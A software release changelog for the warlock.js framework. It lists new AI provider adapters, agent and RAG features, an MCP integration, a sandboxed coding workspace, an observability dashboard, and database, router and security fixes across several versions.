  • Added ContractsVideoModelContract, GeneratedVideo, VideoModelPricing, VideoOptions; RealtimeSession, RealtimeTransport, RealtimeConnection, RealtimeEvent, RealtimeReport, RealtimeOptions.
  • Added MocksMockVideoModel + MockRealtimeTransport for deterministic, HTTP- and socket-free tests (scripted responses / event streams, recorded calls).
@warlock.js/ai-openai Added 4 Fixed 1
  • Added openai.image({ name }) — image generation for the gpt-image-* (token-metered) and dall-e-* (per-image) families, for use with ai.image(). A non-image model id is rejected at construction.
  • Added PDF + audio input. pdf and audio content parts now map to OpenAI file (base64 file_data) and input_audio (wav / mp3) parts — opt in with model({ pdf: true }) / { audio: true }. A remote-URL pdf/audio source raises a typed InvalidRequestError up front.
  • Added openai.speech({ name }) — text-to-speech for the tts-1 / tts-1-hd / gpt-4o-mini-tts families (audio.speech.create), for use with ai.speech().
  • Added openai.transcribe({ name }) — speech-to-text for the whisper-1 / gpt-4o-transcribe families (audio.transcriptions.create), for use with ai.transcribe(). whisper-1 defaults to verbose_json (duration + segments); a non-TTS/STT model id is rejected at construction.
  • Fixed Non-text content parts are no longer coerced to image_url. The message mapper now branches per modality (image → image_url, pdf → file, audio → input_audio) instead of forcing every attachment through the image path.
@warlock.js/ai-mistral Added 3
  • Added First release. MistralSDK — a thin wrapper over @warlock.js/ai-openai that points one internal OpenAISDK at Mistral's OpenAI-compatible endpoint (https://api.mistral.ai/v1) with provider: "mistral", delegating transport, streaming, tool calls, structured output, error wrapping, and token accounting to the battle-tested adapter. Exposes .model(), .embedder() (mistral-embed), and .count().
  • Added Mistral-aware capability inferencevision is auto-set for the pixtral family and recent multimodal generations (mistral-large, mistral-medium, ministral-3); reasoning for the magistral family and the hybrid mistral-small generation. An explicit vision / reasoning on .model() always wins. Exported as inferVisionCapability / inferReasoningCapability, with the -latest aliases grouped under MISTRAL_MODELS.
  • Added Default pricing registry (MISTRAL_DEFAULT_PRICING, USD per 1,000,000 tokens) merged under any caller-supplied pricing so cost truth works out of the box; per-model > SDK-level > default > undefined. No image() — Mistral has no OpenAI-compatible image endpoint.
@warlock.js/ai-google Added 1 Fixed 1
  • Added google.image({ name }) — Imagen (imagen-*) image generation for use with ai.image(). Per-image-metered; when every candidate is safety-filtered the run surfaces a typed ContentFilterError. A non-Imagen model id is rejected at construction.
  • Fixed PDF + audio input are now explicitly mapped and tested. The content-part mapper documents and proves that pdf / audio parts route to Gemini inlineData (the pdf / audio capabilities the adapter advertises are backed by a real mapper, not an accident of the image path), and the remote-URL rejection now names the actual modality instead of always saying "images".
@warlock.js/core Added 11 Changed 1 Fixed 4
  • Added release-hygiene tests: version↔changelog invariant + generator-stub import check
  • Added router.routeCount() exposes the number of registered routes as a boot/readiness signal
  • Added health.addRoutesRegisteredCheck(getRouteCount) registers a readiness check that reports not-ready when a booted HTTP app has zero routes
  • Added seeders now receive a { track } context — track(model), track(models[]), and track(table, id) register created records (each call returns its argument so it can be chained inline); recordsCreated is auto-derived from the track count
  • Added seed_records table (created via the new SeedRecordsTableMigration) records every tracked seed reference within the same transaction the seed runs in; only the last run's refs are kept per seeder
  • Added warlock seed --drop [name] undoes a seed: deletes its tracked records in reverse run/insertion order inside a transaction, then resets the matching seeds-log rows so once: true seeds re-run; scope to one seeder with --drop=<name>
  • Added Seeder.dependsOn is now resolved — seeders are topologically sorted so dependencies run before dependents, layered over the numeric order tie-break; throws UnknownSeederDependencyError for a missing dependency and SeederDependencyCycleError for a cycle
  • Added seeders receive an injectable clock and a meaningful batch size — run({ track, now, batchSize }); now() (default () => new Date()) drives both seed data and the seeds-log timestamps so historical/back-fill runs are deterministic, and batchSize surfaces the seeder's own batchSize for Model.createMany(rows, { batchSize })
  • Added repository-level aggregation — aggregate(), sum(), avg(), min(), max(), and groupBy() on RepositoryManager, each reusing filterBy (and its operator-injection guard), where, and scopes before the aggregate, exactly like count()
  • Added warlock doctor — a read-only diagnostics command that runs routes / config / connectors / optional-peers / health / release-hygiene checks and prints a pass/warn/fail report (exits non-zero on any failure, never opens a DB/cache/socket connection)
  • Added warlock routes — a read-only command that lists the registered HTTP routes as a verb-colored table (method / path / name / action / middleware-count / source); filter with --method / --path / --name, or emit the normalized rows as JSON with --json. Boots app code to register routes but starts no connectors
  • Changed Seeder.run now receives a SeedContext (run(ctx)) — backward compatible, an existing zero-arg run() keeps working unchanged
  • Fixed route-module load/registration failures are no longer swallowed: a route file that throws on import or registration now surfaces loudly instead of silently 404'ing the whole surface
  • Fixed ModuleLoader.loadModule rethrows after logging (wrapped in a new ModuleLoadError carrying the failing file + cause), so a broken module aborts boot and is caught loudly by the HMR batch-reload handler in dev
  • Fixed ModuleLoader.loadAll aggregates per-file failures and throws an AggregateError at the end, so one broken module no longer hides the others
  • Fixed router.withSourceFile rethrows the callback error after logging instead of consuming it with a bare console.log (the try/finally source-file stack cleanup is preserved)
@warlock.js/cascade Added 10 Changed 1 Fixed 4
  • Added Fast bulk Model.createMany(data, options?: { batchSize?; bulk? }) — both paths chunk by batchSize (default 500); bulk: true routes each chunk to the driver's native multi-row insertMany for 10–100× throughput (skips per-row hooks/events; default path preserves them)
  • Added IdGeneratorContract.generateNextIds({ table, count }) — reserve a contiguous block of auto-increment ids in a SINGLE atomic op (MongoDB). Model.createMany (default + bulk) now reserves one id block per chunk instead of one counter round-trip per row; engages only for fixed-increment, auto-generated, id-less rows (random-increment or caller-supplied-id rows fall back to per-row generation)
  • Added QueryBuilder.groupByDate(column, unit, aggregates?) — portable date-bucketed GROUP BY (day/week/month/year) across Postgres date_trunc and MongoDB $dateTrunc
  • Added $agg.sum(expr) now also accepts a typed column expression ($expr.mul/$expr.add/$expr.sub/$expr.div/$expr.col/$expr.lit) so you can sum price * quantity; bare-string payload is unchanged. Added $agg.sumRaw(expression) raw escape hatch (Postgres SUM(<raw>); throws on MongoDB)
  • Added Column-expression DSL grouped under a single $expr object (mirroring $agg) — $expr.col / $expr.lit / $expr.mul / $expr.add / $expr.sub / $expr.div / $expr.raw — plus isColumnExpression / toColumnExpression and the ColumnExpression / ColumnExpressionInput types
  • Added MongoDB id counter (MasterMind) now has a lazily-ensured unique index on { collection: 1 } plus a bounded retry on duplicate-key (E11000), closing the cold-start race where two concurrent first inserts into a new collection could reserve overlapping ids/blocks
  • Added $agg.countDistinct(field) — a cross-driver grouped distinct-count aggregate (Postgres COUNT(DISTINCT col); MongoDB $addToSet in $group finalized with $size in the renaming $project)
  • Added Model.raw<T>(sql, params) — typed, transaction-aware raw query that auto-joins the active transaction() scope and returns RawQueryResult<T>
  • Added DataSource.raw<T>(sql, params) — thin transaction-aware passthrough to driver.query
  • Added Postgres connection option nativeArrayColumns — opt out listed columns (JSONB[]/TEXT[]/…) from JSON-text encoding so genuine native-array columns keep their {...} literal form
  • Changed DriverContract.query<T>() is now typed Promise<RawQueryResult<T>> (new rows + rowCount result type) instead of Promise<any>
  • Fixed Postgres json/jsonb columns no longer corrupt: object-arrays, string-arrays, mixed arrays, empty [] (previously stored as {}), and plain objects are now JSON-encoded before binding instead of falling through to a Postgres array literal; the same encoding is applied on the UPDATE $set path. The pgvector all-number array form is preserved.
  • Fixed Insert no longer overwrites a caller-supplied createdAt — a backdated value (imports/migrations) is now honored, mirroring the upsert guard, while updatedAt is always stamped at persist time
  • Fixed Insert validation now whitelists the system columns (id/_id/timestamps/deletedAt) like the update path, so a backdated createdAt survives strict strip/fail mode instead of being dropped before reaching the writer
  • Fixed Corrected the MongoDB id-generator docs that falsely claimed the counter write "participates in active transactions" — it is a standalone, immediately-durable write (no transaction session is attached), so a rolled-back insert leaves the consumed id as a gap, exactly like SQL SERIAL
@warlock.js/ai-deepseek Added 5
  • Added First release. DeepSeek adapter for @warlock.js/ai — a thin wrapper over @warlock.js/ai-openai's OpenAISDK pinned to https://api.deepseek.com (provider: "deepseek"), so all wire behavior (streaming, tool calls, structured output, error wrapping) is inherited unchanged.
  • Added DeepSeekSDK.model() / .embedder() / .image() / .count() delegated to the wrapped client. baseURL and provider are optional (default to DeepSeek's endpoint / label); every other openai ClientOptions value is forwarded verbatim.
  • Added DeepSeek-specific capability inference (inferReasoningCapability / inferVisionCapability) — reasoning is auto-true for deepseek-reasoner and the *-pro tier, auto-false for deepseek-chat / *-flash; vision is false for every id (no documented vision surface). An explicit reasoning / vision per model always wins.
  • Added Built-in DeepSeek pricing defaults (USD per 1M tokens) for deepseek-chat, deepseek-reasoner, deepseek-v4-flash, deepseek-v4-pro, so usage.cost is computed out of the box; overridable per model or per SDK.
  • Added DEEPSEEK_CHAT_MODELS — informational list of the documented chat model ids.
@warlock.js/ai-xai Added 5
  • Added First release. xAI Grok adapter for @warlock.js/ai — a thin wrapper over @warlock.js/ai-openai's OpenAISDK pinned to https://api.x.ai/v1 (provider: "xai"), so all wire behavior (streaming, tool calls, structured output, error wrapping) is inherited unchanged.
  • Added XaiSDK.model() / .embedder() / .image() / .count() delegated to the wrapped client. baseURL and provider are optional (default to xAI's endpoint / label); every other openai ClientOptions value is forwarded verbatim.
  • Added xAI-specific capability inference (inferVisionCapability / inferReasoningCapability, exported alongside XAI_VISION_MODEL_PREFIXES / XAI_REASONING_MODEL_PREFIXES) — Grok ids don't match OpenAI's gpt-* / o* prefixes, so vision is auto-true for grok-4 / grok-2-vision and reasoning for grok-4 / grok-3-mini. An explicit vision / reasoning per model always wins.
  • Added XAI_CHAT_MODELS — convenience list of current public Grok chat ids (grok-4, grok-3, grok-3-mini, grok-2-vision, grok-2).
  • Added Optional per-model pricing registry — resolution at model() time is per-model pricing > SDK registry > undefined.
@warlock.js/ai-groq Added 3
  • Added First release. GroqSDK — a thin wrapper over @warlock.js/ai-openai that points one internal OpenAISDK at Groq's OpenAI-compatible endpoint (https://api.groq.com/openai/v1) with provider: "groq", delegating transport, streaming, structured output, error wrapping, and token accounting to the battle-tested adapter. Serves Groq-hosted open models (llama-3.3-70b-versatile, llama-3.1-8b-instant, openai/gpt-oss-*, deepseek-r1-distill-llama-70b) on LPU hardware via .model() and .count(). GROQ_BASE_URL / GROQ_PROVIDER / GROQ_KNOWN_MODELS exported.
  • Added Groq-aware capability inference — because Groq ids are upstream open-weight names, not OpenAI's, the wrapper carries its own lists: vision is auto-set for gpt-oss / llama-4 / llama-3.2-*-vision; reasoning for gpt-oss / deepseek-r1 / qwq / qwen3. An explicit vision / reasoning / structuredOutput always wins. Exported as inferVisionCapability / inferReasoningCapability.
  • Added Default pricing registry (USD per 1,000,000 tokens) for the known Groq models as the final fallback; resolution per-model > SDK-level pricing[name] > built-in default > undefined. No embeddings endpoint on Groq (.embedder() is delegated for symmetry but calls fail upstream) and no image().
@warlock.js/scheduler Fixed 1
  • Fixed Warn in development when jobs are registered but start() is never called — a one-shot deferred check logs N job(s) registered but scheduler.start() was never called, is suppressed once start() runs or in production (NODE_ENV=production), and is unref'd so it never holds the process open.
4.5.0
July 1, 2026

The biggest AI release yet — the agent-platform, prompt-unification, and team-identity milestones plus a security-hardening pass, consolidated into one release. @warlock.js/ai grows from a primitive ladder into a full agent platform: ai.rag(), ai.team(), ai.skills(), a unified ai.prompts registry (ai.prompt is now a facade over it), ai.dataset() / ai.vcr(), a planner that runs DAGs and can pause for approval, a generic observe seam, the former ai-human + ai-guard satellites folded into core, and a security pass (SSRF-safe outbound I/O, redaction, attachment policy, SSE serving, streaming structured output). @warlock.js/ai-panoptic becomes batteries-included with a redesigned, auth-gated local dashboard (group-by-type, cost heatmap, timeline, search / filter, restart-persistent store) and first-class team-type traces. The first releases of @warlock.js/ai-tools (ready-made tools + MCP) and @warlock.js/ai-workspace (a policy-jailed coding workspace), plus a broad @warlock.js/core hardening pass.

@warlock.js/ai Added 18 Changed 3 Fixed 3 Security 4
  • Added ai.rag(config) — retrieval-augmented generation in core: a chunk → embed → retrieve → cite pipeline that reuses your existing embedder and cache, with zero new dependencies. Includes hybrid retrieval (dense + BM25 reciprocal-rank fusion), keyword / LLM rerankers, and multi-query expansion.
  • Added ai.team(config) — manager-led multi-agent teams: thin sugar over ai.supervisor for the review-then-fix and test-then-fix shapes.
  • Added ai.skills(config) — runtime agent skills with progressive disclosure: a cheap always-injected catalog plus an on-demand loadSkill tool. Adds a skills option on ai.agent.
  • Added ai.streamObject(...) — structured-output streaming: partial-object snapshots as tokens arrive, with a strict final parse against the response schema.
  • Added ai.serve(executable, options) — serve any agent / workflow / supervisor as an SSE HTTP endpoint.
  • Added Multimodal attachmentsContentPart gains pdf and audio variants alongside text / image, resolved to provider-ready parts (PDF wired on the Anthropic and Bedrock adapters).
  • Added Planner DAG execution, re-planning, and plan-only approval — run independent steps concurrently, revise the plan when a step fails, or return a plan for approval before it executes.
  • Added Generic Observer seam — route any flow's run report to pluggable observers (e.g. @warlock.js/ai-panoptic) without coupling core to a backend.
  • Added ai.prompts + ai.prompt — a process-wide registry of named, versioned systemPrompt(...) builders (resolved by name@version / name@tag) with define / tag / diff / export / import and a unified validate (deterministic missing-placeholder check plus an optional Nova-safe LLM-judge); ai.prompt is a thin facade over it.
  • Added SystemPromptContract identity + provenance.meta({ name, version, description, required }) (a name auto-registers in ai.prompts), .merge(...blocks) / .merge(contract) / .merge(name, { fromVersion }), and deterministic meta.composedFrom labels.
  • Added ai.dataset(options) — filterable, shardable evaluation case sets that feed agent.eval, with baseline / regression detection and CI reporters.
  • Added ai.vcr(model, options) — record / replay any model against an on-disk cassette for deterministic, offline tests, with recordRequest modes and redactRequest / redactResponse / redactError hooks.
  • Added ai.agent.judge(config) — judge-safe agent preset (also ai.agent({ judge: true })): lenient JSON parsing, bounded repair re-asks, and never-throw verdicts on Nova-class models.
  • Added Human-in-the-loop approval now ships in core (ai.human.*, formerly @warlock.js/ai-human) — a tool-approval gate plus durable interrupt / resume.
  • Added Content guardrails now ship in core (ai.guardrail.*, formerly @warlock.js/ai-guard) — PII / topic / injection / moderation detectors.
  • Added Orchestrator sessionLock — per-session turn serialization (default in-process mutex keyed by sessionId, pluggable distributed lock) so concurrent same-session turns can't lose a checkpoint update.
  • Added Sub-agent trace nesting — a supervisor / team / orchestrator callback that calls agent.execute() directly now nests callback → agent → tool with rolled-up usage / cost.
  • Added AgentReport.systemPrompt — the resolved system prompt sent to the model is now recorded on the agent report.
  • Changed ai.team runs report type: "team" — a first-class ReportType (was "supervisor") so observers distinguish team runs on the wire.
  • Changed Deterministic parallel workflow state merge — parallel children merge into the parent in declaration order (last-declared wins on a conflicting key) instead of completion order; an optional per-step mergeState reducer overrides it.
  • Changed Safer batch / RAG defaultsai.batch warns once on a large unbounded run (pass an explicit concurrency or "unbounded"); ai.rag accepts limits (maxDocuments / maxChunks / maxBytes) that fail before any embedding spend.
  • Fixed Cancellation propagates through composite tools — a cancelled outer agent now aborts a nested agent / workflow / supervisor invoked via .asTool() (the run signal threads into the nested execute).
  • Fixed Observer / event-handler errors are surfaced, not swallowed — a throwing observer or on handler stays isolated (never crashes the run) but is now warned once / routed to a hook instead of disappearing silently.
  • Fixed budget({ maxCostUSD }) fail-open closed — a cost cap with no matching model pricing now warns once (naming the model) instead of silently never tripping.
  • Security Shared OutboundPolicy + redact() — one SSRF-safe outbound-fetch guard (scheme + host allowlist, post-DNS private-IP deny, max-bytes, timeout, injectable fetch) and one redaction utility, consumed across attachments, URL skills, VCR, and the error path.
  • Security Attachment trust boundary (AttachmentPolicy) — remote-text attachment fetch is default-deny (opt in with a policy), local reads honor an allowedRoots sandbox, and bare-string local paths warn (staged deprecation).
  • Security URL skill sources hardened — the manifest fetch runs through OutboundPolicy and every record is runtime-validated before it enters model context; adds cache-TTL controls.
  • Security Guardrail coverage documented — input detectors inspect text only; non-text attachment content needs an attachment-level policy.
@warlock.js/ai-panoptic Added 9 Changed 1 Fixed 1 Security 2
  • Added Zero-setup local dashboarddashboard(store, options) serves a loopback-only mini-Langfuse (default 127.0.0.1:4319) with no Docker and no account: light / dark / system theme, a two-pane drawer (nested call tree / detail), a metadata panel, colour-coded Title-case type labels, arrow-coded token rollups (↓input · ↑output · total), per-node rollup cost, and the Warlock logo.
  • Added Dashboard search / filter / grouping — client-side free-text search, status / type / session / prompt filter chips, an errors-only toggle, and group-by Session / Prompt / Type with a per-type aggregate-stats panel (count, failure rate, p50 / p95 latency, tokens, cost).
  • Added Cost heatmap, timeline view, and deep-links — each node carries a cost-tinted accent; the drawer toggles between the call tree and a Gantt timeline (critical path highlighted); the open trace + span are reflected in the URL hash for shareable views.
  • Added Prompt-version linkage — agent spans stamp agent.promptName / agent.promptVersion; the dashboard filters and groups by the resolved name@version key.
  • Added Cache-backed persistent trace storecreateCacheTraceStore(cache, options) persists traces through any @warlock.js/cache driver, serves reads from an in-memory mirror, and re-hydrates on ready() so traces survive a restart; ai.config({ panoptic: { cache } }) wires it.
  • Added Declarative ai.config({ panoptic }) — configure panoptic once; it registers on core's observer registry and starts the dashboard. Per-flow observe + observeAll opt flows into observation.
  • Added ContentCaptureOptions.fullHistory — capture the agent's complete message history on the span; agent content is emitted as a [system, user] chat array; Langfuse gets trace-level input / output.
  • Added onError hook — handle isolated exporter failures on panoptic() / createCollector().
  • Added Pure trace-list helpers exported from the package root (filterTraces / groupBySession / groupByPrompt / groupByType / aggregateByType / rollupCost / …) so your own views mirror the dashboard's rules.
  • Changed Title-case status & type labels across rows, drawer, chips, and group headers (underlying filter keys stay lowercase); team is a first-class dashboard type; type chips show only present types; drawer metadata keys are humanized; the group-by toggles became a single Group dropdown.
  • Fixed Isolated exporter failures no longer fail silently — a failing exporter still never crashes the run, but now warns once (or calls onError).
  • Security Dashboard hardening — bearer-token auth (authToken, required when binding off-loopback), a Host-header allowlist (DNS-rebinding guard), and security response headers (nosniff / X-Frame-Options: DENY / locked-down CSP) on every response.
  • Security Error redaction — captured error message / stack are scrubbed of secrets (Bearer tokens, API keys) and a retained cause is deep-redacted (auth / cookie headers stripped) before a trace is stored or exported.
@warlock.js/ai-tools Added 5
  • Added **Five ready-made agent tools, attached to the shared ai object under ai.tools.* via a declare module "@warlock.js/ai" augmentation, so a bare import "@warlock.js/ai-tools" makes them available and statically typed. Each returns a ToolContract that drops straight into ai.agent({ tools: [...] }): - ai.tools.webSearch(options) (web_search) — web search via a chosen provider (tavily / brave / serpapi) over the global fetch; the API key falls back to TAVILY_API_KEY / BRAVE_API_KEY / SERPAPI_API_KEY; maxResults is clamped per call. - ai.tools.fetchUrl(options?) (fetch_url) — fetch a URL and return its content as readability-extracted text (default), raw html, or markdown, with a host allowlist (SSRF guardrail), a byte cap (truncated flag), and a request timeout. - ai.tools.http(options?) (http_request) — a guarded HTTP/REST client: method + host allowlists enforced before the network call, optional baseUrl join, static-header merge, byte cap, and timeout; JSON-parses a JSON response body. - ai.tools.calculator(options?)** (calculator) — a SAFE arithmetic evaluator (+ - * / % ^, unary signs, parentheses, decimal/scientific literals) implemented with a shunting-yard pass — it never calls eval/Function. - ai.tools.dateTime(options?) (date_time) — clock/calendar operations: now / add / diff / format over ISO-8601 instants, with millisecond-based units and IANA time-zone rendering. diff accepts from as an alias for the start instant (iso wins when both are set).
  • Added MCP client — ai.mcp(server, options?) (Direction A). Connects to an external MCP server over a stdio (node:child_process + node:readline, no dependency) or Streamable HTTP transport, runs the initialize handshake + tools/list, and adapts each remote tool into a native ToolContract (its JSON Schema wrapped as a Standard Schema, tools/call as execute). Supports namePrefix, filter, and a per-call timeoutMs; an isError result surfaces as { error } data.
  • Added MCP server — ai.mcp.serve(source, options) (Direction B). Exposes a built agent / supervisor / orchestrator (or a raw ToolContract[]) AS an MCP server: tools/list emits each tool's inputSchema via extractJsonSchema at the configured schemaTarget (default draft-2020-12), and tools/call routes to contract.invoke(), mapping data to a text content block and error to an isError: true result. The stdio transport is auto-pumped over process.stdin / process.stdout; the pure protocol core is also exported as createServeHandler for a host's own HTTP wiring.
  • Added Typed error classesWebToolError, HttpPolicyError, CalculatorError, DateTimeError, and McpTransportError, each extending the @warlock.js/ai AIError base with a type discriminator. Every tool follows the errors-as-data contract: failures are thrown inside execute, wrapped by tool(), and reach the model as { error } so the agent self-corrects instead of crashing the run.
  • Added Optional peers, lazily imported. Heavy dependencies — a search provider (@tavily/core), the readability scraper (@mozilla/readability + jsdom), the MCP SDK (@modelcontextprotocol/sdk), and the JSON-Schema validator (ajv) — are optional peers, import()ed only when the relevant path runs, surfacing a curated npm install string when absent rather than crashing at import time. The only required runtime peer is @warlock.js/ai; everything else is Node built-ins + the global fetch (Node 18+).
@warlock.js/ai-workspace Added 16
  • Added ai.workspace(policy) — the workspace verb, registered on the shared ai object via a declare module "@warlock.js/ai" augmentation + a runtime side-effect on import (no edit to @warlock.js/ai's own source). Exported as the workspace factory; WorkspaceCapableAi is the typed view consumers cast ai through.
  • Added Policy jail — every path is realpath-resolved and must sit under cwd (or an allowPaths root); denyPaths globs are blocked even inside cwd; the shell allow/deny list gates each command's leading executable basename (deny wins, fail-closed); per-command timeout + output byte cap; and process.env is never inherited wholesale (opt-in shell.inheritEnv, plus explicit shell.env).
  • Added Seven agent-facing tools under ws.tools.*, each a ToolContract built on the core tool() factory: read_file, edit_file, write_file, run_shell, run_tests, grep, glob. Each factory takes an optional { name } (and run_tests a { command }) override.
  • Added tools.all() — every tool in canonical order — and tools.pick(...names) — a least-privilege subset (e.g. pick("readFile", "grep", "glob") for a reviewer).
  • Added Direct programmatic methods sharing the same policy seam: readFile / writeFile / editFile / exec / grep / glob / exists / mkdir / remove.
  • Added readonly() — a projection that vends only the read/grep/glob tools and rejects every mutating direct method with a WorkspacePolicyError.
  • Added scope(subdir) — a sub-jailed workspace rooted at subdir (narrowed cwd, same sub-policies and backend selection).
  • Added Read-before-edit guardread_file / readFile return a SHA-256 content hash (via @warlock.js/fs hashString); edit_file requires an exact, unique oldString (or replaceAll) and rejects a mismatched expectHash as stale.
  • Added BackendscreateLocalBackend (default "local"; @warlock.js/fs for IO + node:child_process for the shell) and createMockBackend (in-memory Map + scripted exec, for hermetic disk-free tests), behind the WorkspaceBackend contract.
  • Added Policy engine seam exports: resolveInJail, isCommandAllowed, buildEnv, and the ResolvedPath type.
  • Added Ops layer export createOps — the single policy-enforced operation layer both the tools and the direct methods funnel through.
  • Added Typed errors WorkspacePolicyError (type: "path-escape" | "denied-command") and WorkspaceEditError (type: "not-found" | "not-unique" | "stale-hash"), both extending the @warlock.js/ai AIError base (code TOOL_EXEC_FAILED) so failures surface to the agent as tool-error data, never thrown run-killers.
  • Added Public type surface re-exported from the barrel: Workspace, WorkspaceTools, WorkspacePolicy, WorkspaceShellPolicy, WorkspaceReadPolicy, WorkspaceBackendType, WorkspaceToolName, WorkspaceOps, WorkspaceBackend (+ WorkspaceBackendExecOptions / WorkspaceBackendExecResult), and the per-tool IO shapes (ReadFileInput/Result, EditFileInput/Result, WriteFileInput/Result, RunShellInput/Result, RunTestsInput, GrepInput/Match/Result, GlobInput/Result).
  • Added scripts/generate-llms.mjs and the generated llms.txt / llms-full.txt projections of skills/.
  • Added skills/use-a-workspace/SKILL.md — building a jailed workspace and operating it (policy, the seven tools, the direct methods, readonly / scope).
  • Added skills/build-loop-agent/SKILL.md — wiring ws.tools.all() into a coding agent that reads → edits → runs tests until green.
@warlock.js/core Changed 4 Fixed 24 Removed 1
  • Changed dev-server update notice now fires immediately on warlock dev — the check is spawned in parallel with server startup instead of awaiting it, so the notice surfaces as soon as npm responds
  • Changed raised the update check's npm registry timeout from 2.5s to 30s, so a slow connection no longer drops the notice
  • Changed repository lifecycle hooks (onCreating / onCreate / onUpdating / onSaving / onDeleting / …) now run on create / update / delete — they were defined but never invoked
  • Changed repository.list() / all() now honor the sortBy, sortDirection, and purgeCache options — previously accepted but silently ignored
  • Fixed response.sendFile({ filename }) and response.download() no longer 500 on non-ASCII file names — the Content-Disposition header is now RFC 6266-encoded (a sanitized ASCII filename fallback plus an RFC 5987 filename*=UTF-8''…), so an Arabic / emoji / UTF-8 download name streams correctly instead of throwing Node's ERR_INVALID_CHAR
  • Fixed local storage paths are contained to their disk root — ../ traversal segments and absolute paths can no longer escape the configured directory
  • Fixed storage.putFromUrl adds SSRF guards — private / loopback / link-local hosts are rejected and the fetched body is size-capped
  • Fixed S3 / R2 / DigitalOcean Spaces url() no longer produces a malformed double-host URL when urlPrefix is set
  • Fixed cloud deleteDirectory paginates via the list continuation cursor instead of re-listing the first page
  • Fixed local-storage metadata cache is invalidated on write / delete — it was serving a stale size / modified-time
  • Fixed the cloud driver no longer reports a misleading "SDK not installed" error when the AWS SDK is in fact present (driver load race)
  • Fixed repository countCached / countActiveCached now cache and return correctly — a null cache miss was being returned as the count
  • Fixed repository firstCached / lastCached no longer fetch and cache the entire table to return a single row
  • Fixed repository boolean filters no longer coerce false / 0 to true
  • Fixed repository cache keys are now order-independent (stable key serialization)
  • Fixed router groups restore prefix / name / middleware state via try/finally even when the group callback throws
  • Fixed router.any() / all routes now match every HTTP verb under the dev server — they previously matched only GET and POST, diverging from production
  • Fixed the HTTP concurrency limiter releases its slot on every response path (noContent, redirect, file, buffer) — a throwing or non-send handler no longer leaks a permit and permanently 429s the route
  • Fixed the cached-response middleware replays a hit through response.replay() instead of re-sending an already-sent reply, preserving status and content-type
  • Fixed onSent cache writes in the idempotency and cache middleware are error-handled — a cache-backend failure no longer surfaces as an unhandled rejection
  • Fixed X-Forwarded-For is parsed to its first hop, so IP-filter / rate-limit / idempotency scoping cannot be spoofed with extra header hops
  • Fixed the maintenance middleware allowlist matches request paths that carry a query string
  • Fixed use-cases run their after middleware and broadcast for a void handler, and a failed history write no longer fails an otherwise-successful call
  • Fixed the use-case retry counter reports the correct count on total failure
  • Fixed the socket connector no longer double-closes the shared HTTP server during graceful shutdown
  • Fixed the cache connector disconnects its drivers on shutdown — an open Redis connection was left dangling
  • Fixed generator stubs import v / Infer from @warlock.js/seal (core never re-exported them), so generated models compile and run
  • Fixed warlock dev hot-reloads when a file is emptied or saved with no trailing newline — a stale no-op-change check was silently dropping those saves before they reached HMR
  • Removed presigned-upload maxSize option — a presigned PUT URL cannot enforce a size cap, so the option was a false guarantee
@warlock.js/ai-anthropic Fixed 1
  • Fixed All upstream ClientOptions now reach the Anthropic client. The SDK constructor peels off the framework-only provider / pricing keys and forwards the rest (timeout, maxRetries, defaultHeaders, custom fetch, baseURL, …) verbatim, instead of dropping everything but apiKey / baseURL.
@warlock.js/ai-openai Fixed 1
  • Fixed All upstream ClientOptions now reach the OpenAI client. The SDK constructor peels off the framework-only provider / pricing keys and forwards the rest (timeout, maxRetries, defaultHeaders, custom fetch, organization, project, …) verbatim, instead of dropping everything but apiKey / baseURL.
4.4.0
June 21, 2026

@warlock.js/core completes the production lifecycle — a booted hook, a shutdown hook, graceful HTTP draining, and built-in /health + /ready endpoints for zero-downtime deploys. Plus AI fixes across @warlock.js/ai, @warlock.js/ai-openai, and @warlock.js/ai-panoptic (opt-in content capture, corrected Langfuse token accounting).

@warlock.js/core Added 8 Fixed 1
  • Added Application.onceBooted(cb) — run a callback once the app is fully booted (fires immediately if already booted)
  • Added Application.whenBooted() — promise that resolves with the boot context when the app is fully booted
  • Added Application.isBooted — whether the app has finished booting
  • Added Application.onShutdown(cb) — run teardown once on shutdown, before connectors stop (mirror of onceBooted)
  • Added Application.isShuttingDown — whether shutdown has begun
  • Added built-in /health (liveness) and /ready (readiness) endpoints with a health check registry (health.addCheck)
  • Added graceful HTTP shutdown — drains in-flight requests on shutdown, bounded by http.gracefulShutdown.timeout
  • Added http.health.* config to toggle or rename the health endpoints
  • Fixed connector shutdown no longer reverses the connector list in place (could corrupt order on a repeated shutdown)
@warlock.js/ai Fixed 2
  • Fixed Planner: OpenAI strict structured-output 400. The generated plan schema now lists every property in required and drops minItems / maxItems, so ai.planner() no longer fails against OpenAI strict json_schema mode.
  • Fixed Report / result types no longer collapse to never under strict TypeScript. The narrowing report / result types now override the discriminant via Omit<…> instead of intersection. Type-only — no runtime change.
@warlock.js/ai-panoptic Added 1 Fixed 1
  • Added Opt-in content capture. panoptic({ captureContent, redactContent }) copies the agent prompt / response and each tool's args / result onto spans, surfaced by the console (io), file, OTel (gen_ai.prompt / gen_ai.completion), and Langfuse exporters. Off by default; a ContentRedactor masks each value.
  • Fixed Langfuse token accounting — generations now meter their own usage (rolled-up minus children) and the root execution is metered, so the trace total no longer double-counts nested spans.
@warlock.js/ai-openai Fixed 1
  • Fixed Strict structured-output compatibility check is now recursive. A schema that omits a required property anywhere in the tree degrades to loose json_object instead of 400-ing; client-side validation still enforces the full shape.
@warlock.js/cascade Changed 1
  • Changed Documented model.uuid — the accessor returns the model's primary id as string (where model.id is string | number); the name is historical and performs no UUID validation.
4.3.0
June 21, 2026

Self-update tooling — @warlock.js/core gains the warlock update command and a new-release notice in warlock dev. @warlock.js/ai caps the primitive ladder with ai.orchestrator(), ai.planner(), and ai.memory(), plus a cost-truth pass across every provider. The new @warlock.js/ai-panoptic package adds observability. ⚠ Breaking: snapshot persistence moves from a CacheDriver to the dedicated SnapshotStore.

@warlock.js/core Added 4 Fixed 1
  • Added warlock update — update every @warlock.js/* package in package.json to its latest version (operator preserved), then run the detected package manager's install
  • Added dev-server update notice — warlock dev checks npm on start and prints a one-line notice when a newer @warlock.js/core is published
  • Added devServer.checkForUpdates config flag (default true) to toggle the dev-server update notice
  • Added fetchLatestVersion() and isNewerVersion() registry/version utilities
  • Fixed warlock dev --skip-typings and --skip-health long-form flags now work (were silently ignored)
@warlock.js/ai ⚠ BREAKING 1 Added 8
  • ⚠ BREAKING Supervisor + workflow snapshot persistence moved from CacheDriver to the dedicated SnapshotStore contract. The per-primitive fallback is now ai.config({ defaultSnapshotStore }). Migration: replace snapshotStore: cache.driver("redis", { client }) with snapshotStore: ai.snapshot.redis({ client }) (and ai.snapshot.{memory,pg} for the other tiers).
